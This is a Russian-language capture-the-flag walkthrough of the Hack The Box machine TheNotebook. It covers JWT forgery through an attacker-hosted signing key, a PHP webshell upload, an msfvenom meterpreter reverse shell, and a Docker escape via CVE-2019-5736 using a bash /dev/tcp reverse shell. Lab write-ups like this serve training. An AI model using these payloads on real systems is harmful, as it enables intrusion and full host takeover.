Хакер - HTB TheNotebook. Совершаем побег из Docker, чтобы захватить рут

Хакер - HTB TheNotebook. Совершаем побег из Docker, чтобы захватить рут

hacker_frei

https://t.me/hacker_frei

RalfHacker

Содержание статьи

  • Разведка. Сканирование портов
  • Точка входа. Манипуляции JWT
  • Точка опоры. Уязвимость при загрузке файлов
  • Продвижение
  • Локальное повышение привилегий

В этой статье мы на при­мере сред­ней по слож­ности машины TheNotebook с Hack The Box порабо­таем с тех­нологи­ей JSON Web Token, про­экс­плу­ати­руем уяз­вимость при заг­рузке фай­лов на сер­вер и пос­мотрим, как работа­ет одна из тех­ник Docker Breakout — побега из кон­тей­нера Docker.

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА. СКАНИРОВАНИЕ ПОРТОВ

Ад­рес машины сра­зу же кида­ем в /etc/hosts, что­бы даль­ше набирать толь­ко наз­вание.

10.10.10.230 thenotebook.htb

И, как и любая дру­гая ата­ка, работа над вир­туал­кой начина­ется со ска­ниро­вания пор­тов. При­вожу свой тра­дици­онный скрипт, который дела­ет это в два про­хода при помощи Nmap.

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Ре­зуль­тат работы скрип­та

По резуль­татам ска­ниро­вания име­ем два откры­тых пор­та: 22 (служ­ба SSH) и 80 (веб‑сер­вер nginx 1.14.0). Для начала вни­матель­но осмотрим­ся на сай­те и соберем информа­цию.

Сайт пре­дос­тавля­ет воз­можность регис­тра­ции и даль­нейшей авто­риза­ции. Сто­ит сра­зу выпол­нить эти дей­ствия, так как очень высока веро­ятность тем самым уве­личить повер­хность ата­ки.

Глав­ная стра­ница сай­та

Пос­ле авто­риза­ции нам откры­вают­ся фун­кции соз­дания, хра­нения и чте­ния заметок. А это потен­циаль­ная точ­ка вхо­да.

Стра­ница работы с замет­ками

В дан­ном слу­чае сто­ит прос­мотреть все зап­росы к сер­веру и его отве­ты. Не исклю­чено, что таким обра­зом обна­ружат­ся логичес­кие ошиб­ки в при­ложе­нии. Для отло­ва всех зап­росов и отве­тов прок­сиру­ем их через Burp. Нас­тро­ив его, про­ходим пол­ный цикл работы с замет­кой: соз­даем ее и прос­матри­ваем.

Стра­ница соз­дания и запол­нения замет­ки
Стра­ница прос­мотра заметок

А теперь смот­рим исто­рию зап­росов в Burp.

Ис­тория зап­росов Burp

При прос­мотре зап­росов сра­зу обра­тим вни­мание на исполь­зуемые cookie. По фор­мату авто­риза­цион­ная печень­ка уж очень похожа на JWT.

Cookie, переда­ваемые веб‑сер­веру

ТОЧКА ВХОДА. МАНИПУЛЯЦИИ JWT

JSON Web Token сос­тоит из трех час­тей: заголов­ка (header), полез­ной наг­рузки (payload) и под­писи. Заголо­вок и полез­ная наг­рузка пред­став­ляют собой объ­екты JSON, а наг­рузка может быть любой — это имен­но те кри­тичес­кие дан­ные, которые переда­ются при­ложе­нию.

За­голо­вок содер­жит поля:

  • alg — алго­ритм, исполь­зуемый для под­писи/шиф­рования. Это обя­затель­ный ключ;
  • typ — тип токена. Дол­жно иметь зна­чение JWT;
  • cty — тип содер­жимого.

Тре­тий эле­мент вычис­ляет­ся на осно­вании пер­вых и зависит от выб­ранно­го алго­рит­ма. Токены могут быть переко­диро­ваны в ком­пак­тное пред­став­ление: к заголов­ку и полез­ной наг­рузке при­меня­ется алго­ритм кодиро­вания Base64-URL, пос­ле чего добав­ляет­ся под­пись и все три эле­мен­та раз­деля­ются точ­ками (как на скрин­шоте выше).

Поп­робу­ем разоб­рать дан­ные. Для это­го нам понадо­бит­ся либо при­ложе­ние jwt_tool, либо онлай­новый сер­вис jwt.io. Я выб­рал jwt.io, что­бы ничего не уста­нав­ливать, и даль­ше буду исполь­зовать его.

В нашем вари­анте в заголов­ке при­сутс­тву­ет ключ kid, ука­зыва­ющий на при­ват­ный ключ, а в качес­тве под­писан­ных дан­ных зна­чат­ся исполь­зуемые при регис­тра­ции дан­ные — имя поль­зовате­ля и адрес элек­трон­ной поч­ты. Но в дан­ных при­сутс­тву­ет еще один ключ admin_cap, ско­рее все­го обоз­нача­ющий наличие при­виле­гий.

Раз­бор JWT с помощью jwt.io

Что делать даль­ше, понят­но — нуж­но изме­нить ключ, отве­чающий за наличие при­виле­гий адми­нис­тра­тора, под­писать новые дан­ные, сге­нери­ровать новый JWT и заменить ста­рый на сер­висе заметок. Наличие при­виле­гий адми­нис­тра­тора может дать ряд сво­их пре­иму­ществ — от чте­ния при­ват­ной информа­ции до уста­нов­ки на сер­вис раз­ных допол­нений (что, ско­рее все­го, при­ведет нас к уда­лен­ному выпол­нению кода).

С изме­нени­ем клю­ча admin_cap все ясно, прос­то выс­тавим еди­нич­ку. Но что сде­лать с под­писью? В заголов­ке ука­зан адрес при­ват­ного клю­ча, что натал­кива­ет на идею: сге­нери­ровать свою пару клю­чей для под­писи токена, раз­местить их на сво­ем веб‑сер­вере и затем в заголов­ке ука­зать адрес клю­ча на этом сер­вере. Сна­чала сге­нери­руем пару клю­чей, а потом переве­дем в фор­мат PEM.

ssh-keygen -t rsa -b 4096 -m PEM -f privKey.key

openssl rsa -in privKey.key -pubout -outform PEM -out pubKey.key.pub

Ге­нери­рова­ние пары клю­чей

Те­перь запус­тим в той же дирек­тории прос­той веб‑сер­вер на осно­ве Python 3.

python3 -m http.server

По­ра генери­ровать новый токен. Изме­няем зна­чения по клю­чам admin_cap и kid, во вто­ром слу­чае ука­зыва­ем URL сге­нери­рован­ного клю­ча. Так­же встав­ляем сге­нери­рован­ные пуб­личный и при­ват­ный клю­чи в поля Verify Signature. Если ты все сде­лал пра­виль­но, то ниже токена уви­дишь над­пись Signature Verified.

Соз­дание нового токена

Встав­ляем новый токен в cookie, нап­ример с помощью рас­ширения для бра­узе­ра Cookie Editor, и обновля­ем стра­ницу. В окне запущен­ного веб‑сер­вера уви­дим обра­щение к фай­лу клю­ча, а в бра­узе­ре, если обно­вить стра­ницу, появит­ся ссыл­ка на админ­скую панель.

Ло­ги веб‑сер­вера
Раз­делы сай­та

ТОЧКА ОПОРЫ. УЯЗВИМОСТЬ ПРИ ЗАГРУЗКЕ ФАЙЛОВ

Нам ста­ли дос­тупны для прос­мотра замет­ки адми­нис­тра­тора — мож­но поис­кать в них что‑нибудь инте­рес­ное. Но помимо это­го, откры­лась фор­ма для заг­рузки фай­лов. Сре­ди админ­ских заметок видим упо­мина­ние исполне­ния фай­лов PHP, а это потен­циаль­ный век­тор ата­ки.

За­мет­ка об исправ­лении кон­фигура­ций

Поп­робу­ем заг­рузить PHP-скрипт, который будет при­нимать коман­ду в парамет­ре c и выпол­нять ее с помощью фун­кции system. Пос­ле заг­рузки нам покажут, с каким име­нем был заг­ружен файл.

<?php echo system($_GET["c"]); ?>

Фор­ма заг­рузки фай­ла
Имя сох­ранен­ного фай­ла

Те­перь обра­тим­ся к заг­ружен­ному бэк­дору и переда­дим ему коман­ду id. Коман­да успешно выпол­нена, а мы понима­ем, что работа­ем в кон­тек­сте учет­ной записи веб‑сер­вера.

Вы­пол­нение коман­ды через заг­ружен­ный бэк­дор

Так как заг­ружен­ный шелл работа­ет, мы можем закинуть еще один, более удоб­ный, который может дать нам инте­рак­тивную кон­соль. Я для этих целей выб­рал Meterpreter. Сге­нери­ровать соот­ветс­тву­ющий файл мож­но дву­мя сле­дующи­ми стро­ками кода.

msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.14.178 LPORT=4321 -f raw > r.php

cat r.php | xclip -selection clipboard && echo '<?php ' | tr -d '\n' > r.php && xclip -selection clipboard -o >> r.php

Пер­вая стро­ка генери­рует основной код наг­рузки с помощью msfvenom. Здесь нуж­но ука­зать локаль­ный адрес и порт для бэк­коннек­та, а так­же фор­мат сох­ранения дан­ных. Вто­рая коман­да офор­мит сге­нери­рован­ный код в теги PHP.

Ге­нери­рова­ние наг­рузки Meterpreter в фор­мате PHP

Те­перь запус­тим уни­вер­саль­ный лис­тенер в Metasploit. За это отве­чает модуль handler, которо­му тре­бует­ся знать тип наг­рузки, а так­же локаль­ные адрес и порт, где нуж­но при­нимать соеди­нение.

msfconsole

handler -p php/meterpreter_reverse_tcp -H 10.10.14.178 -P 4321

За­пуск лис­тенера

Заг­ружа­ем на сер­вер сге­нери­рован­ный файл, запус­каем его и получа­ем бэк­коннект. Акти­виру­ем толь­ко что соз­данную сес­сию коман­дой session -i 1 и про­веря­ем кон­текст, в котором мы работа­ем (коман­да getuid).

Бэк­коннект Meterpreter

Мы под­клю­чились как поль­зователь www-data, а зна­чит, впе­реди еще эска­лация при­виле­гий.

ПРОДВИЖЕНИЕ

Как най­ти путь для даль­нейше­го прод­вижения? Мож­но про­верять вруч­ную все воз­можные вари­анты эска­лации при­виле­гий (о них читай в статье «Пра­во на root»), а мож­но вос­поль­зовать­ся го­товы­ми скрип­тами. Заг­рузим на локаль­ный хост скрипт для Linux.

wget https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh

Те­перь нуж­но заг­рузить его на уда­лен­ный хост. Бла­го meterpreter име­ет встро­енную фун­кцию upload для заг­рузки фай­лов. Получив инте­рак­тивный шелл, наз­начим пра­во на выпол­нение и запус­тим этот чудо‑скрипт.

upload /tmp/linpeas.sh /tmp

shell

chmod +x /tmp/linpeas.sh

/tmp/linpeas.sh

Заг­рузка фай­ла на сер­вер

В пун­кте, где перечис­лены инте­рес­ные фай­лы, видим бэкап домаш­ней дирек­тории поль­зовате­ля, в том чис­ле и клю­чи SSH.

Спи­сок фай­лов, дос­тупных для записи
При­ват­ный SSH-ключ поль­зовате­ля

Ко­пиру­ем этот при­ват­ный ключ на локаль­ный хост и обя­затель­но наз­нача­ем ему стро­го опре­делен­ные пра­ва коман­дой chmod 0600 id_rsa. Пос­ле под­клю­чения от име­ни поль­зовате­ля noah забира­ем пер­вый флаг.

ssh -i id_rsa noah@thenotebook.htb

Флаг поль­зовате­ля

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

На­ибо­лее веро­ятное мес­то для повыше­ния при­виле­гий — это нас­трой­ки sudoers и при­ложе­ния с выс­тавлен­ным битом SUID. Пишем sudo -l, что­бы про­верить, какие коман­ды мож­но запус­кать от име­ни рута.

Нас­трой­ки судо­ера

Ви­дим, что любой поль­зователь (ALL) может выпол­нить вот эту коман­ду в при­виле­гиро­ван­ном кон­тек­сте без вво­да пароля (NOPASSWD):

/usr/bin/docker exec -it webapp-dev01*

В кол­лекции GTFOBins для этой коман­ды готово­го рецеп­та нет. Поэто­му нач­нем копать самос­тоятель­но и пер­вым делом выяс­ним, какая вер­сия Docker у нас исполь­зует­ся.

docker version

Вер­сия Docker

Итак, это вер­сия 18.06.0-ce. Нам оста­ется толь­ко поис­кать экс­пло­иты для нее. Если у тебя сто­ит Kali Linux, то пер­вым делом можешь поп­робовать поис­кать при помощи ути­литы searchsploit:

searchsploit docker

Экс­пло­иты, най­ден­ные searchsploit

Два пос­ледних перечис­ленных экс­пло­ита помече­ны как Docker Breakout — побег из кон­тей­нера Docker. И наша вер­сия удов­летво­ряет усло­вию. Я выб­рал экс­пло­ит 46369, который нацелен на баг CVE-2019-5736. С его помощью вре­донос­ный кон­тей­нер может перепи­сать на хос­те бинар­ник runc и таким обра­зом дает воз­можность выпол­нять на хос­те коман­ды от име­ни рута.

Но есть усло­вие: мы можем запус­кать любые коман­ды с пра­вами root в рам­ках кон­тей­нера в двух кон­тек­стах:

  • соз­дание нового кон­тей­нера из кон­тро­лиру­емо­го нами обра­за;
  • под­клю­чение (docker exec) к сущес­тву­юще­му кон­тей­неру с дос­тупом на запись.

Ко­ман­да из sudoers обес­печива­ет нам вто­рой кон­текст. При поис­ке готово­го PoC я нашел на GitHub ре­али­зацию экс­пло­ита на язы­ке Go. В коде нуж­но изме­нить выпол­няемую коман­ду (стро­ка 16). Вари­антов мно­го, я выб­рал вот такой реверс‑шелл (сле­дует ука­зать локаль­ные адрес и порт):

bash -i >& /dev/tcp/[IP]/[PORT] 0>&1

Ис­ходная коман­да
Из­менен­ная коман­да с реверс‑шел­лом

Ос­тает­ся соб­рать этот код. Если у тебя не уста­нов­лен Go, то понадо­бит­ся уста­новить.

apt intstall golang

go build main.go

Те­перь соз­даем лис­тенер, который будет при­нимать наше соеди­нение. Я рекомен­дую исполь­зовать обо­лоч­ку rlwrap, а в качес­тве лис­тенера возь­мем netcat.

apt install rlwrap

rlwrap nc -lvp [port]

Ког­да все готово к экс­плу­ата­ции, откры­ваем вто­рую кон­соль и авто­ризу­емся в ней по SSH. Так как нам нуж­но будет заг­рузить готовый экс­пло­ит в кон­тей­нер, запус­тим прос­той HTTP-сер­вер на локаль­ной машине в дирек­тории, где рас­положен соб­ранный экс­пло­ит.

python3 -m http.server

Те­перь мы смо­жем заг­рузить экс­пло­ит пря­мо из Docker с помощью wget. В пер­вой кон­соли под­клю­чаем­ся к Docker, заг­ружа­ем экс­пло­ит, даем фай­лу пра­во на выпол­нение и выпол­няем.

sudo docker exec -it webapp-dev01 /bin/bash

wget 10.10.14.178:8000/main -O /tmp/main

chmod +x /tmp/main

/tmp/main

Кон­соль 1. Запуск экс­пло­ита

Ви­дим сооб­щение о переза­писи фай­ла обо­лоч­ки. Теперь под­клю­чим­ся к обра­зу из вто­рой кон­соли.

sudo /usr/bin/docker exec -it webapp-dev01 /bin/sh

Кон­соль 2. Под­клю­чение к обра­зу

В это вре­мя в пер­вой кон­соли можем сле­дить за успешным выпол­нени­ем ата­ки.

Кон­соль 1. Завер­шение работы экс­пло­ита
То­кен рута

Та­ким путем мы зах­ватыва­ем дан­ную машину и име­ем над ней пол­ный кон­троль.

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei

Report Page